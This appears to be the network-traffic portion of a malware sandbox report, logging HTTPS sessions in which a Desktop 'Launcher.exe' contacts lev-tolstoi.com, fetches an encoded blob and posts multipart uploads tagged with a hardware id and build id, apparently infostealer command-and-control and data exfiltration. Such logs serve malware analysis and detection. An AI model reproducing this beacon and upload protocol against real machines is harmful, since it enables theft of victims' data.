2024-12-22 22:50:03 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-22 22:50:03 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49708	104.21.66.86	443	6292	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 22:50:05 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-22 22:50:05 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-22 22:50:05 UTC	1123	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 22:50:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kg57b797tng7q99kab0ueujdpv; expires=Thu, 17 Apr 2025 16:36:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hehtWAF09ISpAQ1v5C5%2BJwFyOVGDQWDeerWUKslHsh62zTzcnZzrTRqP8TQzDGJwe847IfI4bGJnXOGeFlOWopJP0X9kO67kbP2BqZ%2Ba3gf0uBBojhB8kZVwNkEaaJMo%2F8s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f63ab36ffc242ec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1603&min_rtt=1592&rtt_var=620&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=906&delivery_rate=1733966&cwnd=183&unsent_bytes=0&cid=1aae804e4c102f67&ts=794&x=0"
2024-12-22 22:50:05 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-22 22:50:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49712	104.21.66.86	443	6292	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 22:50:07 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 51 Host: lev-tolstoi.com
2024-12-22 22:50:07 UTC	51	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 32 32 39 31 34 37 39 31 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--622914791&j=
2024-12-22 22:50:08 UTC	1126	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 22:50:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sdnerekmh24btpjtkde9e5ffba; expires=Thu, 17 Apr 2025 16:36:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1kNMDwcS6G7AG%2BhhFghAaoHWXUuG2Z0aAoMc0TvaOCbCxMaizdWWGB4fProiPk9vS953PTqlybZqM8tbjCvBUvSp9pb%2FVU9B4rDhiu%2Bo6%2Fgdkm8SPJaezImnfR1hfBQUSfA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f63ab43b9448c27-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1811&min_rtt=1799&rtt_var=699&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=950&delivery_rate=1540084&cwnd=243&unsent_bytes=0&cid=bcd6a7292c1f64ec&ts=1072&x=0"
2024-12-22 22:50:08 UTC	243	IN	Data Raw: 32 64 31 63 0d 0a 6b 48 68 30 68 4c 39 31 48 55 68 48 37 35 74 55 53 55 35 67 46 77 49 35 4f 65 48 56 6f 6c 59 2b 42 6b 57 42 6f 50 33 77 38 6e 2f 72 57 67 4b 6d 68 55 45 78 61 6a 53 4b 75 57 34 39 50 42 56 79 4c 68 74 59 68 66 65 59 4d 46 39 71 4e 75 53 4d 33 34 61 66 58 61 6f 65 46 65 6a 4d 45 44 46 71 49 70 65 35 62 68 49 31 51 6e 4a 73 47 77 50 44 73 4d 67 30 58 32 6f 6e 34 4d 75 53 67 4a 34 63 2b 42 51 54 37 4e 6f 57 65 53 6b 72 67 76 34 78 4c 43 38 4b 65 57 74 55 55 59 7a 33 6a 6e 52 62 66 47 65 37 67 72 43 56 68 68 37 64 47 51 66 76 6e 51 67 78 4d 32 57 4b 39 58 5a 7a 62 41 46 79 59 46 56 66 68 62 37 4b 50 6c 5a 69 4a 75 58 4b 6a 5a 6d 55 46 2f 67 61 45 4f 33 51 48 32 30 6b 49 59 58 31 4e 79 59 76 51 6a 73 67 58 Data Ascii: 2d1ckHh0hL91HUhH75tUSU5gFwI5OeHVolY+BkWBoP3w8n/rWgKmhUExajSKuW49PBVyLhtYhfeYMF9qNuSM34afXaoeFejMEDFqIpe5bhI1QnJsGwPDsMg0X2on4MuSgJ4c+BQT7NoWeSkrgv4xLC8KeWtUUYz3jnRbfGe7grCVhh7dGQfvnQgxM2WK9XZzbAFyYFVfhb7KPlZiJuXKjZmUF/gaEO3QH20kIYX1NyYvQjsgX
2024-12-22 22:50:08 UTC	1369	IN	Data Raw: 45 50 44 37 34 42 6e 62 6d 63 32 38 74 65 53 67 70 5a 64 37 56 51 50 70 74 6f 62 50 33 4a 6c 68 66 55 34 4c 69 38 4e 63 6d 46 62 53 59 79 33 77 7a 78 55 59 43 33 73 7a 5a 43 63 6d 68 72 36 45 78 48 70 32 68 39 35 4a 53 62 4e 74 33 59 73 4e 45 49 74 49 48 74 4c 67 4c 54 55 4f 55 30 6b 4f 4b 33 62 33 35 57 63 58 61 70 61 45 4f 6a 63 47 6e 38 34 4c 59 62 79 4d 7a 6b 6e 43 33 68 74 57 31 61 4a 75 4d 4d 30 57 32 34 74 37 4d 69 62 6e 35 30 62 38 68 70 57 71 4a 30 51 5a 32 70 39 7a 64 6f 7a 4f 79 73 4f 59 79 4a 68 47 35 7a 35 32 58 52 62 61 47 65 37 67 70 65 58 6b 78 37 35 46 52 58 75 31 67 56 2f 4f 43 4f 41 2f 43 51 74 4b 51 78 2f 59 30 6c 52 6a 62 48 44 50 56 64 74 49 75 54 47 33 39 7a 51 47 75 70 61 54 71 62 38 47 6e 51 6d 4c 35 72 35 64 6a 52 69 47 7a 56 6e Data Ascii: EPD74Bnbmc28teSgpZd7VQPptobP3JlhfU4Li8NcmFbSYy3wzxUYC3szZCcmhr6ExHp2h95JSbNt3YsNEItIHtLgLTUOU0kOK3b35WcXapaEOjcGn84LYbyMzknC3htW1aJuMM0W24t7Mibn50b8hpWqJ0QZ2p9zdozOysOYyJhG5z52XRbaGe7gpeXkx75FRXu1gV/OCOA/CQtKQx/Y0lRjbHDPVdtIuTG39zQGupaTqb8GnQmL5r5djRiGzVn
2024-12-22 22:50:08 UTC	1369	IN	Data Raw: 48 50 4f 56 41 6b 61 61 50 46 68 39 4c 49 58 64 67 5a 41 75 58 58 56 55 6f 70 4b 34 50 2b 49 47 73 7a 54 47 77 67 58 46 66 44 37 34 41 35 58 57 77 68 38 63 32 53 6b 5a 34 54 2f 52 38 5a 37 74 30 58 63 69 38 68 68 76 49 31 4a 69 67 51 66 32 42 54 58 6f 4b 39 79 6e 51 53 4a 43 44 37 67 73 66 53 6f 51 72 35 57 43 50 6c 30 78 6c 34 50 47 57 53 74 79 39 72 4b 77 34 31 4f 42 74 57 69 37 4c 46 4f 31 31 75 4b 65 62 49 6b 35 71 65 48 75 41 56 45 75 62 52 48 33 55 6e 4b 34 6e 78 50 79 41 6e 42 48 56 68 55 52 76 4e 39 38 63 73 48 44 78 6e 31 38 57 54 6e 35 39 66 78 78 6b 59 36 4e 6f 42 50 7a 56 72 6c 4c 6b 78 4a 32 78 61 4e 57 78 53 57 34 69 39 78 44 52 62 61 53 4c 67 78 5a 79 66 6c 78 66 38 48 52 4c 71 31 42 70 35 4b 69 4b 4a 2f 43 51 75 4a 51 35 35 49 42 55 62 68 Data Ascii: HPOVAkaaPFh9LIXdgZAuXXVUopK4P+IGszTGwgXFfD74A5XWwh8c2SkZ4T/R8Z7t0Xci8hhvI1JigQf2BTXoK9ynQSJCD7gsfSoQr5WCPl0xl4PGWSty9rKw41OBtWi7LFO11uKebIk5qeHuAVEubRH3UnK4nxPyAnBHVhURvN98csHDxn18WTn59fxxkY6NoBPzVrlLkxJ2xaNWxSW4i9xDRbaSLgxZyflxf8HRLq1Bp5KiKJ/CQuJQ55IBUbh
2024-12-22 22:50:08 UTC	1369	IN	Data Raw: 46 4a 43 44 76 67 73 66 53 6d 52 54 67 46 42 6a 76 30 42 46 33 4c 53 75 41 38 6a 41 67 4b 77 56 7a 62 56 4e 57 68 72 54 42 4d 46 5a 32 4a 4f 6a 49 6b 70 6a 51 55 37 49 64 44 71 61 46 56 31 67 6d 44 4a 33 69 4a 44 31 73 48 54 74 35 47 31 79 50 39 35 68 30 58 32 73 75 37 4d 71 58 6e 5a 38 5a 2f 42 77 51 36 39 67 59 64 54 67 74 67 2f 51 39 4a 43 63 51 64 57 31 66 56 34 65 2f 79 7a 34 63 4b 6d 66 6b 32 74 2f 4b 30 43 6a 2f 46 52 62 6c 79 31 64 67 5a 44 7a 4e 2f 6a 70 72 64 45 4a 35 62 6c 74 55 6a 37 76 4c 50 46 31 6f 4b 65 54 48 6c 70 71 59 44 2f 4d 65 48 75 66 54 47 48 34 75 49 49 6a 39 4d 53 38 71 44 54 55 75 47 31 79 62 39 35 68 30 63 30 4d 53 6f 65 4f 6c 30 6f 39 54 36 31 6f 52 36 70 31 50 50 79 59 6d 67 66 45 35 4c 53 55 4f 66 32 6c 51 56 34 69 7a 7a 44 Data Ascii: FJCDvgsfSmRTgFBjv0BF3LSuA8jAgKwVzbVNWhrTBMFZ2JOjIkpjQU7IdDqaFV1gmDJ3iJD1sHTt5G1yP95h0X2su7MqXnZ8Z/BwQ69gYdTgtg/Q9JCcQdW1fV4e/yz4cKmfk2t/K0Cj/FRbly1dgZDzN/jprdEJ5bltUj7vLPF1oKeTHlpqYD/MeHufTGH4uIIj9MS8qDTUuG1yb95h0c0MSoeOl0o9T61oR6p1PPyYmgfE5LSUOf2lQV4izzD
2024-12-22 22:50:08 UTC	1369	IN	Data Raw: 34 73 4f 5a 67 4a 63 55 34 42 51 62 36 64 55 66 64 69 73 68 69 50 51 77 4a 79 59 44 63 6d 35 56 55 38 50 35 67 44 4e 45 4a 48 2b 6a 34 34 2b 4a 67 67 76 2f 4f 78 76 70 6e 51 67 78 4d 32 57 4b 39 58 5a 7a 62 41 74 6e 5a 46 5a 4a 69 72 44 4f 4f 31 39 32 4a 75 37 4a 6a 5a 57 66 47 66 55 57 45 4f 6e 62 46 6e 6f 67 4b 59 72 38 50 53 51 67 51 6a 73 67 58 45 50 44 37 34 41 61 56 33 63 77 34 4d 79 55 68 49 74 64 37 56 51 50 70 74 6f 62 50 33 4a 6c 6a 76 49 39 4c 79 77 4f 64 57 52 57 57 35 47 34 78 7a 4e 56 62 7a 58 70 78 5a 69 5a 6d 42 62 39 48 41 54 71 30 77 56 36 4f 44 66 4e 74 33 59 73 4e 45 49 74 49 47 31 63 6b 36 66 44 64 6d 31 79 4a 50 58 4a 6b 70 37 51 41 72 77 44 56 75 48 52 56 79 64 71 49 34 4c 77 4e 53 51 74 43 33 6c 74 58 6c 4b 47 74 73 59 77 56 6d 34 Data Ascii: 4sOZgJcU4BQb6dUfdishiPQwJyYDcm5VU8P5gDNEJH+j44+Jggv/OxvpnQgxM2WK9XZzbAtnZFZJirDOO192Ju7JjZWfGfUWEOnbFnogKYr8PSQgQjsgXEPD74AaV3cw4MyUhItd7VQPptobP3JljvI9LywOdWRWW5G4xzNVbzXpxZiZmBb9HATq0wV6ODfNt3YsNEItIG1ck6fDdm1yJPXJkp7QArwDVuHRVydqI4LwNSQtC3ltXlKGtsYwVm4
2024-12-22 22:50:08 UTC	1369	IN	Data Raw: 34 33 65 42 4c 49 64 47 71 61 46 56 33 77 74 4a 6f 7a 7a 50 79 63 6a 42 58 46 79 55 56 79 52 74 73 45 2f 55 57 67 6e 37 73 2b 56 6b 35 6b 51 2f 68 63 52 34 64 49 53 50 32 52 6c 69 75 46 32 63 32 77 6a 65 47 74 58 41 4e 6e 33 33 33 70 46 4a 43 44 76 67 73 66 53 6b 42 66 33 45 42 76 6c 30 68 52 74 4b 79 4f 66 2b 54 73 68 50 67 68 2b 5a 56 5a 57 6a 72 54 47 4d 6c 64 6f 4e 65 72 43 6e 4a 6e 51 55 37 49 64 44 71 61 46 56 31 77 39 4d 34 66 2b 4f 6a 30 6e 41 33 5a 32 56 6b 76 44 2b 59 41 6c 57 33 56 6e 75 39 53 50 68 5a 63 43 76 41 4e 57 34 64 46 58 4a 32 6f 6a 68 50 38 78 4c 53 49 51 63 47 5a 55 56 49 71 2b 78 44 78 66 5a 43 50 6e 78 5a 71 52 6e 42 62 31 47 52 6e 69 31 42 6c 32 4a 57 58 44 75 54 45 7a 62 46 6f 31 51 55 42 59 6a 37 71 41 4b 78 4a 39 5a 2b 54 4f Data Ascii: 43eBLIdGqaFV3wtJozzPycjBXFyUVyRtsE/UWgn7s+Vk5kQ/hcR4dISP2RliuF2c2wjeGtXANn333pFJCDvgsfSkBf3EBvl0hRtKyOf+TshPgh+ZVZWjrTGMldoNerCnJnQU7IdDqaFV1w9M4f+Oj0nA3Z2VkvD+YAlW3Vnu9SPhZcCvANW4dFXJ2ojhP8xLSIQcGZUVIq+xDxfZCPnxZqRnBb1GRni1Bl2JWXDuTEzbFo1QUBYj7qAKxJ9Z+TO
2024-12-22 22:50:08 UTC	1369	IN	Data Raw: 32 71 57 6a 62 74 79 78 4a 34 50 47 65 34 2b 6a 67 6c 4b 78 51 31 66 32 51 56 77 37 6a 61 64 41 52 64 50 71 50 46 6b 39 4c 49 58 65 63 64 46 75 48 48 41 58 67 6d 4e 49 62 30 4f 67 6b 6a 42 57 4e 6a 56 46 69 53 76 6f 77 2f 55 53 52 70 6f 38 57 48 30 73 68 64 33 52 30 41 35 66 49 55 62 69 4e 6c 77 37 6b 78 50 57 78 61 4e 56 34 62 53 59 43 6e 77 7a 74 4e 57 6d 65 37 32 36 48 53 6d 77 76 31 43 68 58 77 31 68 70 7a 4f 78 76 4e 6f 57 4a 35 66 6c 41 6e 4d 6b 51 62 6e 49 69 4f 64 46 30 6b 66 39 72 62 33 34 54 51 52 61 42 55 56 76 53 64 54 7a 39 74 4a 70 2f 72 4d 43 67 36 41 54 4a 65 5a 58 79 56 76 63 63 6b 57 33 4d 6f 6f 34 7a 66 6e 64 42 46 79 31 6f 66 34 63 59 47 61 53 63 31 69 72 6b 4a 5a 57 77 61 4e 54 67 62 62 6f 43 35 7a 6a 4e 4b 64 57 72 45 31 4a 57 56 67 Data Ascii: 2qWjbtyxJ4PGe4+jglKxQ1f2QVw7jadARdPqPFk9LIXecdFuHHAXgmNIb0OgkjBWNjVFiSvow/USRpo8WH0shd3R0A5fIUbiNlw7kxPWxaNV4bSYCnwztNWme726HSmwv1ChXw1hpzOxvNoWJ5flAnMkQbnIiOdF0kf9rb34TQRaBUVvSdTz9tJp/rMCg6ATJeZXyVvcckW3Moo4zfndBFy1of4cYGaSc1irkJZWwaNTgbboC5zjNKdWrE1JWVg
2024-12-22 22:50:08 UTC	1369	IN	Data Raw: 62 36 5a 45 5a 64 43 6f 69 6e 65 38 74 5a 79 51 42 62 33 70 6c 5a 61 69 37 78 6a 4e 47 59 79 48 46 34 74 2f 63 30 42 4b 79 51 69 2b 6d 6c 56 64 41 5a 47 57 56 75 57 35 72 47 51 46 37 62 6c 78 4e 6b 76 72 6f 46 32 5a 65 5a 63 2f 46 69 74 43 6b 47 75 49 4c 48 65 76 52 56 7a 46 71 49 38 32 68 5a 6d 56 73 42 6d 51 67 41 77 76 52 37 4a 56 6e 43 7a 52 31 2f 49 79 47 30 6f 5a 64 71 6b 68 59 70 73 39 58 4a 32 70 69 6a 75 73 6b 4c 53 38 55 64 69 64 6c 5a 61 53 35 78 7a 56 4b 64 44 44 73 2f 4b 47 48 6b 78 50 38 48 51 44 33 6e 56 6b 2f 4a 57 58 56 77 48 5a 6a 62 44 30 37 49 45 4d 62 32 2f 66 31 4e 31 4a 71 49 50 58 54 30 72 57 65 47 76 4d 4d 42 76 48 53 56 7a 46 71 49 38 32 68 5a 47 56 73 42 6d 51 67 41 77 76 52 37 4a 56 6e 43 7a 52 31 2f 49 79 47 30 6f 5a 64 71 6b Data Ascii: b6ZEZdCoine8tZyQBb3plZai7xjNGYyHF4t/c0BKyQi+mlVdAZGWVuW5rGQF7blxNkvroF2ZeZc/FitCkGuILHevRVzFqI82hZmVsBmQgAwvR7JVnCzR1/IyG0oZdqkhYps9XJ2pijuskLS8UdidlZaS5xzVKdDDs/KGHkxP8HQD3nVk/JWXVwHZjbD07IEMb2/f1N1JqIPXT0rWeGvMMBvHSVzFqI82hZGVsBmQgAwvR7JVnCzR1/IyG0oZdqk
2024-12-22 22:50:08 UTC	1369	IN	Data Raw: 45 44 30 4b 49 70 76 36 64 6d 56 73 44 6a 55 34 47 31 71 4a 70 38 30 37 57 79 67 67 2b 63 58 66 33 4e 41 54 73 6b 4a 57 35 39 63 48 63 69 55 69 77 66 38 34 4a 57 77 64 4f 33 6b 62 54 63 50 76 6b 33 6f 63 64 6d 65 37 67 74 69 52 67 67 2f 30 47 51 44 6c 6d 69 6c 42 42 7a 65 4b 36 54 56 70 48 51 39 78 64 6b 35 59 6b 37 44 2b 43 6e 46 32 49 50 50 42 33 61 4f 47 48 76 49 55 45 61 61 54 56 32 64 71 66 63 33 55 4a 43 77 38 41 54 55 75 47 31 66 44 37 34 41 35 54 6d 4d 33 34 49 36 59 69 4a 64 64 37 56 51 50 70 73 74 58 4a 33 6c 72 7a 65 74 32 63 32 78 46 65 32 31 61 57 49 32 30 30 69 5a 61 5a 7a 48 67 68 61 47 73 76 51 2f 31 43 68 57 6b 37 42 70 37 50 44 43 4f 36 54 45 56 45 69 39 6e 5a 30 74 59 77 5a 76 48 4f 56 42 61 47 64 54 54 6d 49 4c 53 4f 2f 45 4d 46 61 61 Data Ascii: ED0KIpv6dmVsDjU4G1qJp807Wygg+cXf3NATskJW59cHciUiwf84JWwdO3kbTcPvk3ocdme7gtiRgg/0GQDlmilBBzeK6TVpHQ9xdk5Yk7D+CnF2IPPB3aOGHvIUEaaTV2dqfc3UJCw8ATUuG1fD74A5TmM34I6YiJdd7VQPpstXJ3lrzet2c2xFe21aWI200iZaZzHghaGsvQ/1ChWk7Bp7PDCO6TEVEi9nZ0tYwZvHOVBaGdTTmILSO/EMFaa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49713	104.21.66.86	443	6292	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 22:50:09 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CCOVNLAI1K User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12791 Host: lev-tolstoi.com
2024-12-22 22:50:09 UTC	12791	OUT	Data Raw: 2d 2d 43 43 4f 56 4e 4c 41 49 31 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 33 32 34 45 42 42 39 42 44 38 45 38 38 36 45 30 32 32 45 39 45 46 41 42 32 37 36 46 31 37 0d 0a 2d 2d 43 43 4f 56 4e 4c 41 49 31 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 43 4f 56 4e 4c 41 49 31 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 32 39 31 34 37 39 31 0d 0a 2d 2d 43 43 4f 56 4e 4c 41 49 31 4b 0d 0a 43 6f 6e 74 Data Ascii: --CCOVNLAI1KContent-Disposition: form-data; name="hwid"65324EBB9BD8E886E022E9EFAB276F17--CCOVNLAI1KContent-Disposition: form-data; name="pid"2--CCOVNLAI1KContent-Disposition: form-data; name="lid"yau6Na--622914791--CCOVNLAI1KCont
2024-12-22 22:50:10 UTC	1132	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 22:50:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7a7lol6acu5lasgquv15717k9s; expires=Thu, 17 Apr 2025 16:36:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zgemJF7%2FF%2BK6N5L0oyA9nvXDena8jKWwTmbFWTcXz7mKPF4cY%2B1tsvZdD9NIpXYsibznhrWzm96HjZQgDBUjS2AxeiID%2F78xERnkERwP1Lpoz3SAsyt%2B7us7D08OiIjWzk8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f63ab53d90717b5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1515&min_rtt=1501&rtt_var=591&sent=10&recv=17&lost=0&retrans=0&sent_bytes=2835&recv_bytes=13722&delivery_rate=1809169&cwnd=252&unsent_bytes=0&cid=36f19a56051f4b9b&ts=1155&x=0"
2024-12-22 22:50:10 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-22 22:50:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49715	104.21.66.86	443	6292	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 22:50:12 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FM6LQ1OG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15021 Host: lev-tolstoi.com
2024-12-22 22:50:12 UTC	15021	OUT	Data Raw: 2d 2d 46 4d 36 4c 51 31 4f 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 33 32 34 45 42 42 39 42 44 38 45 38 38 36 45 30 32 32 45 39 45 46 41 42 32 37 36 46 31 37 0d 0a 2d 2d 46 4d 36 4c 51 31 4f 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 46 4d 36 4c 51 31 4f 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 32 39 31 34 37 39 31 0d 0a 2d 2d 46 4d 36 4c 51 31 4f 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --FM6LQ1OGContent-Disposition: form-data; name="hwid"65324EBB9BD8E886E022E9EFAB276F17--FM6LQ1OGContent-Disposition: form-data; name="pid"2--FM6LQ1OGContent-Disposition: form-data; name="lid"yau6Na--622914791--FM6LQ1OGContent-Disp
2024-12-22 22:50:24 UTC	1133	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 22:50:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d6o1cg5c8s8q2bho5832e8cvan; expires=Thu, 17 Apr 2025 16:37:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sQ5%2BCG0lhdkcG0dN7wP45po%2FwZz8qHKjuuaxLcmM5FWP%2BTaVYnTQFPB8ujFsII5hD7D3bo%2F%2Fve89NhkGl8ei8CRRZHJEO3yqapCFPgicmEaVnkeBbynUvLFceSXx4OA6k8g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f63ab63cc2d1a07-EWR alt-svc: h3=":443"; ma=86400 server-timing: 